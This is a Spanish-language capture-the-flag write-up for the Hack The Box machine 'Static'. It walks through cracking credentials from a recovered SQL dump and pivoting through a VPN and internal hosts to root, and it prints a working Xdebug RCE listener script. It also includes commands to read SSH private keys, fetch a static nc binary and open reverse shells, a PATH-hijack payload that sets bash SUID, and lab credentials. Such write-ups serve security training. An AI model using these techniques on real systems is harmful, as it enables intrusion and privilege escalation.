HTB-Static
IP -> 10.10.10.246
Reconocimiento
Nmap
Utilizamos nmap y obtenemos los siguientes resultados.
http
El robots, nos reporta 2 rutas.
/.ftp_uploads/ /vpn/
Descargamos el archivo “db.sql.gz” para analizarlo. Nos dice que está corrupto. Tenemos que restaurarlo.
db.sql.gz
Mediante la herramienta fixgz restauramos el archivo y lo extraemos. Al abrir el archivo db.sql, vemos credenciales. Tratamos de romper el hash por fuerza bruta.
USER: admin HASH: d033e22ae348aeb5660fc2140aec35850c4da997 (restored) PASS: admin TOTP: orxxi4c7orXWwzlo
http
En la página “/vpn/” iniciamos sesión pero tenemos que proporcionar un 2FA. Buscamos “google authenticator addon firefox” para poner el OTP y obtener el código.
Iniciamos sesión
Al poner el nombre “web” en el formulario, y darla a generar. Nos crea un archivo ovpn. Al abrirlo vemos que intenta conectarse a “vpn.static.ovpn”. Añadimos el dominio al /etc/hosts y nos conectamos a la vpn.
Al intentar comunicarnos con los distintos segmentos, nos damos cuenta que no tenemos acceso a algunos, para ello añadimos el segmento 172.20.0.0/24 al IP-Route. Sin proporcionar ip del router.
Tenemos traza con el segmento 172.20.0.0/24
172.20.0.10, 192.168.254.2
nmap
22 - ssh 80 - http
http
Vemos un archivo info.php.
disable_functions -> Podemos subir una webShell xdebug 2.6.0 -> xdebug github exploit -> Podemos intentar conseguir RCE.
Aunque el script no nos decodifica el base64, modificamos el script.
#!/usr/bin/env python2
import socket, re, pdb
from base64 import b64decode
ip_port = ('0.0.0.0', 9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024)
base64_response = re.findall(r'CDATA\[(.*?)\]', client_data)[0]
try:
command_output = b64decode(base64_response)
print(command_output)
except:
pass
data = raw_input ('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
Tenemos shell en php
OS (php)
whoami
pwd
hostname -I
ls /home
ls /home/www-data
ls /home/www-data/.ssh
cat /home/www-data/.ssh/id_rsa
Tenemos conexión con la 192.168.254.3 id_rsa
Al intentar usar la id_rsa, no conseguimos conectarnos. Pero al utilizar el servicio ssh por el puerto 2222. Nos conecta
OS (ssh 2222)
ls /home
cat user.txt
id
sudo -l
uname -a
cat /etc/os-release
cd /var/www/html
cd vpn
grep -r -i -E "user|pass|key"
ifconfig
user.txt
Linux 4.19 Ubuntu 18.04.4
USER: root PASS: 2108@C00l DB: static
ping -c 1 192.168.254.3
wget -qO- http://192.168.254.3
Local port forwarding por ssh.
ssh -i id_rsa www-data@10.10.10.246 -p 2222 -L 80:192.168.254.3:80
192.168.254.3
http
En el servicio http, vemos una respuesta rara en un index.php Fuzzeamos el servicio con herramientas como wfuzz o gobuster en busca de directorios y de archivos con extensión php. En las cabeceras de respuesta vemos que utiliza “php-fpm/7.1” buscamos en google “php-fpm/7.1 exploit github”. Y encontramos un exploit.
python exploit.py --url http://127.0.0.1/index.php --verbose
Nos sube una webShell
Comprobamos si tenemos traza con mediante un ping. Pero no. Aunque la 192.168.254.2 si que responde.
Podemos enviarnos una reverse shell desde la “192.168.254.3” a la “192.168.254.2”. Para ello necesitamos subir un binario estático de nc.
wget https://github.com/yunchih/static-binaries/raw/master/nc
scp -P 2222 -i id_rsa nc www-data@10.10.10.246:/tmp/nc
chmod +x ./nc
nc -nlvp 4646
Y nos enviamos una reverse shell con python3 ya que está instalado en la “192.168.254.3”
OS
find \-perm -4000 2>/dev/null
getcap -r / 2>/dev/null
ersatool tiene capability para cambiar el UID
Subimos un binario pspy para monitorizar tareas que se ejecuten en segundo plano. Vemos que cuando utilizamos el ersatool, pòr detrás se ejecuta el openssl de forma relativa. Podemos hacer un “path hijacking”.
cd /tmp
touch openssl
chmod +x openssl
#!/bin/bash
chmod 4755 /bin/bash
export PATH=/tmp:$PATH
ersatool
create
asdasd
bash -p
cat /root/root.txt
root.txt
172.20.0.11
nmap
22 - ssh 3306 - mySQL
mysql -uroot -p -h 172.20.0.11
2108@C00l
show databases;
use static;
show tables;
describe users;
select * from users;
select load_file("/etc/passwd");